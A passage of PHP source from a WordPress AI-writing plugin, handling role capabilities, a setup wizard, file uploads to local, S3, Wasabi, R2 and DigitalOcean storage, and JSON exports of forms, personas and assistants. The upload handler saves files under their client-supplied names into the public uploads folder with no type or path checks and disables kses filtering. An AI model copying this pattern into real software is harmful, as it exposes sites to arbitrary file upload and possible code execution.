$aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', array()); if(isset($aiomatic_Limit_Settings['additional_roles']) && is_array($aiomatic_Limit_Settings['additional_roles'])) { $role_names = array_merge($role_names, $aiomatic_Limit_Settings['additional_roles']); } $all_roles = wp_roles()->roles; foreach ($all_roles as $role_name => $role_info) { if (!in_array($role_name, $role_names)) { $role = get_role($role_name); if ($role && $role->has_cap('access_aiomatic_menu')) { $role->remove_cap('access_aiomatic_menu'); } } } foreach ($role_names as $role_name) { $role = get_role($role_name); if ($role && !$role->has_cap('access_aiomatic_menu')) { $role->add_cap('access_aiomatic_menu'); } } } } add_action('plugins_loaded', 'aiomatic_add_custom_capability'); add_action('admin_init', 'aiomatic_setup_wizard_screen'); function aiomatic_setup_wizard_screen() { if ( !current_user_can('administrator') || is_network_admin() || isset( $_GET['activate-multi'] ) || ! current_user_can( 'access_aiomatic_menu' ) || aiomatic_is_demo_server()) { return; } //0 not run //1 canceled //2 running //3 completed $is_ran = get_option( 'aiomatic_setup_wizard_ran', '0' ); if($is_ran == '0') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $is_ran = '1'; update_option( 'aiomatic_setup_wizard_ran', '1' ); } } if (is_admin()) { global $pagenow; if(isset($_GET['aiomatic_go_config']) && $_GET['aiomatic_go_config'] == '1' && isset($_GET['nonce']) && wp_verify_nonce( $_GET['nonce'], 'aiomatic-quick-config' ) !== false) { $is_ran = '0'; } if ((($pagenow == 'admin.php' && !isset($_GET['page'])) || ($pagenow == 'admin.php' && $_GET['page'] == 'aiomatic_admin_settings')) && isset($_GET['aiomatic_done_config'])) { if($is_ran == '2') { if($_GET['aiomatic_done_config'] == '1') { update_option( 'aiomatic_setup_wizard_ran', '1' ); $is_ran = '1'; } elseif($_GET['aiomatic_done_config'] == '3') { update_option( 'aiomatic_setup_wizard_ran', '3' ); $is_ran = '3'; } } } } if(!isset($_GET['skip_config']) || $_GET['skip_config'] != '1') { if ( $is_ran != '1' && $is_ran != '2' && $is_ran != '3' ) { update_option( 'aiomatic_setup_wizard_ran', '2' ); wp_safe_redirect( admin_url( 'admin.php?page=aiomatic_admin_settings' ) ); exit; } elseif($is_ran == '2') { require_once (dirname(__FILE__) . "/class-setup-wizard.php"); new Aiomatic_Setup_Wizard(); } } } function aiomatic_license_not_activated_notice() { ?>

            activate the license to use the plugin. You can get a new license, here.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), admin_url('admin.php?page=aiomatic_admin_settings'), 'https://1.envato.market/aiomatic'); echo $result; ?>

             

            '; echo sprintf( wp_kses( __( 'The plugin is not registered. Automatic updating is disabled. Please purchase a license for it from here and register the plugin from the \'Settings\' menu using your purchase code. How I find my purchase code?', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://1.envato.market/c/1264868/275988/4415?u=' . urlencode($plugin_url)), '//www.youtube.com/watch?v=NElJ5t_Wd48' ); echo '

            '; }, 10, 3 ); add_action('admin_enqueue_scripts', 'aiomatic_admin_enqueue_all'); add_filter("plugin_action_links_$plugin", 'aiomatic_add_activation_link'); } } require_once (dirname(__FILE__) . "/aiomatic-automation.php"); if(isset($_POST['aiomatic_upload_omni_files'])) { if(!isset($_POST['aiomatic_nonce']) || empty($_POST['aiomatic_nonce'])) { $aiomatic_result['msg'] = 'Incorrect verification token sent!'; wp_send_json($aiomatic_result); } if (wp_verify_nonce($_POST['aiomatic_nonce'], 'aiomatic_omni') === false) { $aiomatic_result['msg'] = 'You are not allowed to do this!'; wp_send_json($aiomatic_result); } if(!isset($_POST['aiomatic-file-upload-location']) || empty($_POST['aiomatic-file-upload-location'])) { $aiomatic_result['msg'] = 'Incorrect request sent!'; wp_send_json($aiomatic_result); } $location = $_POST['aiomatic-file-upload-location']; if($location == 'remote') { if(isset($_POST['aiomatic-file-remote-rules'])) { $remote_url = $_POST['aiomatic-file-remote-rules']; $remote_title = aiomatic_generatePostTitleFromUrl($remote_url); $forms_data = array( 'post_type' => 'aiomatic_omni_file', 'post_title' => $remote_title, 'post_content' => $remote_url, 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($forms_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = $forms_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($forms_id === 0) { $aiomatic_result['msg'] = 'Failed to insert file to database: ' . $title; wp_send_json($aiomatic_result); } else { $cat_arr = array($location); wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type'); update_post_meta($forms_id, 'local_id', $remote_url); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; } } } else { $aiomatic_result = array(); if(isset($_FILES['aiomatic-file-upload-rules']['tmp_name'])) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $file = $wp_filesystem->get_contents($_FILES['aiomatic-file-upload-rules']['tmp_name']); if($file === false) { $aiomatic_result['msg'] = 'Failed to download file: ' . $_FILES['aiomatic-file-upload-rules']['name']; wp_send_json($aiomatic_result); } else { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $filesize = strlen($file); if($location == 'local') { $upload_dir = wp_upload_dir(); $aiomatic_directory = $upload_dir['basedir'] . '/aiomatic/'; $aiomatic_url = $upload_dir['baseurl'] . '/aiomatic/'; wp_mkdir_p($aiomatic_directory); $new_pdf = $aiomatic_directory . $_FILES['aiomatic-file-upload-rules']['name']; $new_url = $aiomatic_url . $_FILES['aiomatic-file-upload-rules']['name']; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $ret = $wp_filesystem->put_contents($new_pdf, $file); if ($ret === FALSE) { $aiomatic_result['msg'] = 'Failed to upload file: ' . $_FILES['aiomatic-file-upload-rules']['name'] . ' to ' . $new_pdf; wp_send_json($aiomatic_result); } else { $forms_data = array( 'post_type' => 'aiomatic_omni_file', 'post_title' => $_FILES['aiomatic-file-upload-rules']['name'], 'post_content' => $new_url, 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($forms_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = $forms_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($forms_id === 0) { $aiomatic_result['msg'] = 'Failed to insert file to database: ' . $title; wp_send_json($aiomatic_result); } else { $cat_arr = array($location); wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type'); $new_pdf = str_replace('\\', '/', $new_pdf); update_post_meta($forms_id, 'local_id', $new_pdf); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; } } } elseif($location == 'amazon') { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 bucket_name for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 s3_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 s3_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '') { $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1'; } try { $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass'])); $s3 = new S3Client([ 'version' => 'latest', 'region' => trim($aiomatic_Main_Settings['bucket_region']), 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Amazon S3 API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } if (trim($aiomatic_Main_Settings['drive_directory']) != '') { $s3_remote_path = trim(trim($aiomatic_Main_Settings['drive_directory']), '/'); $s3_remote_path = trailingslashit($s3_remote_path); } else { $s3_remote_path = ''; } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['bucket_name']), 'Key' => $s3_remote_path . $_FILES['aiomatic-file-upload-rules']['name'], 'Body' => $file, 'Content-Length' => $filesize, 'ContentLength' => $filesize ]; $obj_arr['ACL'] = 'public-read'; $awsret = $s3->putObject($obj_arr); if(isset($awsret['ObjectURL'])) { $forms_data = array( 'post_type' => 'aiomatic_omni_file', 'post_title' => $_FILES['aiomatic-file-upload-rules']['name'], 'post_content' => $awsret['ObjectURL'], 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($forms_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = $forms_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($forms_id === 0) { $aiomatic_result['msg'] = 'Failed to insert file to database: ' . $title; wp_send_json($aiomatic_result); } else { $cat_arr = array($location); wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type'); $uri = $awsret['ObjectURL']; $urlComponents = parse_url($uri); $key = ltrim($urlComponents['path'], '/'); update_post_meta($forms_id, 'local_id', $key); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; } } else { $aiomatic_result['msg'] = "Failed to decode Amazon S3 API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($location == 'wasabi') { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 wasabi_bucket for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 wasabi_region for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 wasabi_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 wasabi_pass for this to work!'; wp_send_json($aiomatic_result); } try { $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass'])); $s3 = new S3Client([ 'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/", 'bucket_endpoint' => true, 'version' => 'latest', 'region' => trim($aiomatic_Main_Settings['wasabi_region']), 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Amazon S3 API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } if (trim($aiomatic_Main_Settings['wasabi_directory']) != '') { $s3_remote_path = trim(trim($aiomatic_Main_Settings['wasabi_directory']), '/'); $s3_remote_path = trailingslashit($s3_remote_path); } else { $s3_remote_path = ''; } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']), 'Key' => $s3_remote_path . $_FILES['aiomatic-file-upload-rules']['name'], 'Body' => $file, 'Content-Length' => $filesize, 'ContentLength' => $filesize ]; $obj_arr['ACL'] = 'public-read'; $awsret = $s3->putObject($obj_arr); if(isset($awsret['ObjectURL'])) { $forms_data = array( 'post_type' => 'aiomatic_omni_file', 'post_title' => $_FILES['aiomatic-file-upload-rules']['name'], 'post_content' => $awsret['ObjectURL'], 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($forms_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = $forms_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($forms_id === 0) { $aiomatic_result['msg'] = 'Failed to insert file to database: ' . $title; wp_send_json($aiomatic_result); } else { $cat_arr = array($location); wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type'); $uri = $awsret['ObjectURL']; $urlComponents = parse_url($uri); $key = ltrim($urlComponents['path'], '/'); update_post_meta($forms_id, 'local_id', $key); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; } } else { $aiomatic_result['msg'] = "Failed to decode Amazon S3 API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($location == 'cloudflare') { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 cloud_bucket for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 cloud_account for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 cloud_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 cloud_pass for this to work!'; wp_send_json($aiomatic_result); } try { $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass'])); $s3 = new S3Client([ 'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com", 'bucket_endpoint' => true, 'version' => 'latest', 'region' => 'us-east-1', 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Amazon S3 API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } if (trim($aiomatic_Main_Settings['cloud_directory']) != '') { $s3_remote_path = trim(trim($aiomatic_Main_Settings['cloud_directory']), '/'); $s3_remote_path = trailingslashit($s3_remote_path); } else { $s3_remote_path = ''; } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']), 'Key' => $s3_remote_path . $_FILES['aiomatic-file-upload-rules']['name'], 'Body' => $file, 'Content-Length' => $filesize, 'ContentLength' => $filesize ]; $obj_arr['ACL'] = 'public-read'; $awsret = $s3->putObject($obj_arr); if(isset($awsret['ObjectURL'])) { $forms_data = array( 'post_type' => 'aiomatic_omni_file', 'post_title' => $_FILES['aiomatic-file-upload-rules']['name'], 'post_content' => $awsret['ObjectURL'], 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($forms_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = $forms_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($forms_id === 0) { $aiomatic_result['msg'] = 'Failed to insert file to database: ' . $title; wp_send_json($aiomatic_result); } else { $cat_arr = array($location); wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type'); $uri = $awsret['ObjectURL']; $urlComponents = parse_url($uri); $key = ltrim($urlComponents['path'], '/'); update_post_meta($forms_id, 'local_id', $key); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; } } else { $aiomatic_result['msg'] = "Failed to decode Amazon S3 API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($location == 'digital') { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 digital_endpoint for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 digital_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 digital_pass for this to work!'; wp_send_json($aiomatic_result); } $bucket_name = ''; preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches); if(isset($zmatches[1][0])) { $bucket_name = $zmatches[1][0]; } else { $aiomatic_result['msg'] = 'Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']); wp_send_json($aiomatic_result); } $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint'])); try { $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass'])); $s3 = new S3Client([ 'version' => 'latest', 'region' => 'us-east-1', 'endpoint' => $endpoint_plain_url, 'use_path_style_endpoint' => false, 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Amazon S3 API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } if (trim($aiomatic_Main_Settings['digital_directory']) != '') { $s3_remote_path = trim(trim($aiomatic_Main_Settings['digital_directory']), '/'); $s3_remote_path = trailingslashit($s3_remote_path); } else { $s3_remote_path = ''; } try { $obj_arr = [ 'Bucket' => trim($bucket_name), 'Key' => $s3_remote_path . $_FILES['aiomatic-file-upload-rules']['name'], 'Body' => $file, 'Content-Length' => $filesize, 'ContentLength' => $filesize ]; $obj_arr['ACL'] = 'public-read'; $awsret = $s3->putObject($obj_arr); if(isset($awsret['ObjectURL'])) { $forms_data = array( 'post_type' => 'aiomatic_omni_file', 'post_title' => $_FILES['aiomatic-file-upload-rules']['name'], 'post_content' => $awsret['ObjectURL'], 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($forms_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = $forms_id->get_error_message(); wp_send_json($aiomatic_result); } elseif($forms_id === 0) { $aiomatic_result['msg'] = 'Failed to insert file to database: ' . $title; wp_send_json($aiomatic_result); } else { $cat_arr = array($location); wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type'); $uri = $awsret['ObjectURL']; $urlComponents = parse_url($uri); $key = ltrim($urlComponents['path'], '/'); update_post_meta($forms_id, 'local_id', $key); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; } } else { $aiomatic_result['msg'] = "Failed to decode Amazon S3 API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage(); wp_send_json($aiomatic_result); } } else { $aiomatic_result['msg'] = 'Incorrect location provided'; wp_send_json($aiomatic_result); } } } else { $aiomatic_result['msg'] = 'Incorrect function call'; wp_send_json($aiomatic_result); } } } if(isset($_POST['aiomatic_download_forms_to_file'])) { $aiomatic_result = array(); if(!isset($_POST['aiomatic_nonce']) || empty($_POST['aiomatic_nonce'])) { $aiomatic_result['msg'] = 'Incorrect verification token sent!'; wp_send_json($aiomatic_result); } if (wp_verify_nonce($_POST['aiomatic_nonce'], 'aiomatic_forms') === false) { $aiomatic_result['msg'] = 'You are not allowed to do this!'; wp_send_json($aiomatic_result); } $aiomatic_form_page = 1; $aiomatic_forms = new WP_Query(array( 'post_type' => 'aiomatic_forms', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_form_page )); $forms = array(); while($aiomatic_forms->have_posts()) { foreach ($aiomatic_forms->posts as $aiomatic_form){ $my_form = array(); $prompt = get_post_meta($aiomatic_form->ID, 'prompt', true); $model = get_post_meta($aiomatic_form->ID, 'model', true); $assistant_id = get_post_meta($aiomatic_form->ID, 'assistant_id', true); $header = get_post_meta($aiomatic_form->ID, 'header', true); $editor = get_post_meta($aiomatic_form->ID, 'editor', true); $advanced = get_post_meta($aiomatic_form->ID, 'advanced', true); $submit = get_post_meta($aiomatic_form->ID, 'submit', true); $max = get_post_meta($aiomatic_form->ID, 'max', true); $temperature = get_post_meta($aiomatic_form->ID, 'temperature', true); $topp = get_post_meta($aiomatic_form->ID, 'topp', true); $presence = get_post_meta($aiomatic_form->ID, 'presence', true); $frequency = get_post_meta($aiomatic_form->ID, 'frequency', true); $response = get_post_meta($aiomatic_form->ID, 'response', true); $streaming_enabled = get_post_meta($aiomatic_form->ID, 'streaming_enabled', true); $type = get_post_meta($aiomatic_form->ID, 'type', true); $aiomaticfields = get_post_meta($aiomatic_form->ID, '_aiomaticfields', true); if(!is_array($aiomaticfields)) { $aiomaticfields = array(); } $my_form['title'] = $aiomatic_form->post_title; $my_form['description'] = $aiomatic_form->post_content; $my_form['prompt'] = $prompt; $my_form['model'] = $model; $my_form['assistant_id'] = $assistant_id; $my_form['header'] = $header; $my_form['editor'] = $editor; $my_form['advanced'] = $advanced; $my_form['submit'] = $submit; $my_form['max'] = $max; $my_form['temperature'] = $temperature; $my_form['topp'] = $topp; $my_form['presence'] = $presence; $my_form['frequency'] = $frequency; $my_form['streaming_enabled'] = $streaming_enabled; $my_form['response'] = $response; $my_form['type'] = $type; $my_form['aiomaticfields'] = $aiomaticfields; $forms[] = $my_form; } $aiomatic_form_page++; $aiomatic_forms = new WP_Query(array( 'post_type' => 'aiomatic_forms', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_form_page )); } header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=aiomatic_forms.json"); header("Pragma: no-cache"); header("Expires: 0"); echo json_encode($forms); exit(); } if(isset($_POST['aiomatic_download_personas_to_file'])) { $aiomatic_result = array(); if(!isset($_POST['aiomatic_nonce']) || empty($_POST['aiomatic_nonce'])) { $aiomatic_result['msg'] = 'Incorrect verification token sent!'; wp_send_json($aiomatic_result); } if (wp_verify_nonce($_POST['aiomatic_nonce'], 'aiomatic_personas') === false) { $aiomatic_result['msg'] = 'You are not allowed to do this!'; wp_send_json($aiomatic_result); } $aiomatic_persona_page = 1; $aiomatic_personas = new WP_Query(array( 'post_type' => 'aiomatic_personas', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_persona_page )); $personas = array(); while($aiomatic_personas->have_posts()) { foreach ($aiomatic_personas->posts as $aiomatic_persona) { $message = get_post_meta($aiomatic_persona->ID, '_persona_first_message', true); $my_persona = array(); $my_persona['name'] = $aiomatic_persona->post_title; $my_persona['role'] = $aiomatic_persona->post_excerpt; $my_persona['prompt'] = $aiomatic_persona->post_content; $my_persona['avatar'] = get_post_thumbnail_id($aiomatic_persona->ID); $my_persona['message'] = $message; $personas[] = $my_persona; } $aiomatic_persona_page++; $aiomatic_personas = new WP_Query(array( 'post_type' => 'aiomatic_personas', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_persona_page )); } header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=aiomatic_personas.json"); header("Pragma: no-cache"); header("Expires: 0"); echo json_encode($personas); exit(); } if(isset($_POST['aiomatic_download_assistants_to_file'])) { $aiomatic_result = array(); if(!isset($_POST['aiomatic_nonce']) || empty($_POST['aiomatic_nonce'])) { $aiomatic_result['msg'] = 'Incorrect verification token sent!'; wp_send_json($aiomatic_result); } if (wp_verify_nonce($_POST['aiomatic_nonce'], 'aiomatic_assistants') === false) { $aiomatic_result['msg'] = 'You are not allowed to do this!'; wp_send_json($aiomatic_result); } $aiomatic_assistant_page = 1; $aiomatic_assistants = new WP_Query(array( 'post_type' => 'aiomatic_assistants', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_assistant_page )); $assistants = array(); while($aiomatic_assistants->have_posts()) { foreach ($aiomatic_assistants->posts as $aiomatic_assistant) { $code_interpreter = false; $file_search = false; $functions = []; $tools = get_post_meta($aiomatic_assistant->ID, '_assistant_tools', true); $ass_id = get_post_meta($aiomatic_assistant->ID, '_assistant_id', true); if(!empty($tools)) { foreach($tools as $tool) { if($tool['type'] == 'code_interpreter') { $code_interpreter = true; } elseif($tool['type'] == 'file_search') { $file_search = true; } elseif($tool['type'] == 'function') { $functions[] = $tool['function']; } } } $message = get_post_meta($aiomatic_assistant->ID, '_assistant_first_message', true); $assistant_model = get_post_meta($aiomatic_assistant->ID, '_assistant_model', true); $assistant_files = get_post_meta($aiomatic_assistant->ID, '_assistant_files', true); $temperature = get_post_meta($aiomatic_assistant->ID, '_assistant_temperature', true); $topp = get_post_meta($aiomatic_assistant->ID, '_assistant_topp', true); $my_assistant = array(); $my_assistant['name'] = $aiomatic_assistant->post_title; $my_assistant['id'] = $ass_id; $my_assistant['role'] = $aiomatic_assistant->post_excerpt; $my_assistant['prompt'] = $aiomatic_assistant->post_content; $my_assistant['avatar'] = get_post_thumbnail_id($aiomatic_assistant->ID); $my_assistant['message'] = $message; $my_assistant['model'] = $assistant_model; $my_assistant['temperature'] = $temperature; $my_assistant['topp'] = $topp; $my_assistant['files'] = $assistant_files; $my_assistant['code_interpreter'] = $code_interpreter; $my_assistant['file_search'] = $file_search; $my_assistant['functions'] = $functions; $assistants[] = $my_assistant; } $aiomatic_assistant_page++; $aiomatic_assistants = new WP_Query(array( 'post_type' => 'aiomatic_assistants', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_assistant_page )); } header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=aiomatic_assistants.json"); header("Pragma: no-cache"); header("Expires: 0"); echo json_encode($assistants); exit(); } if(isset($_POST['aiomatic_download_omni_to_file'])) { $aiomatic_result = array(); if(!isset($_POST['aiomatic_nonce']) || empty($_POST['aiomatic_nonce'])) { $aiomatic_result['msg'] = 'Incorrect verification token 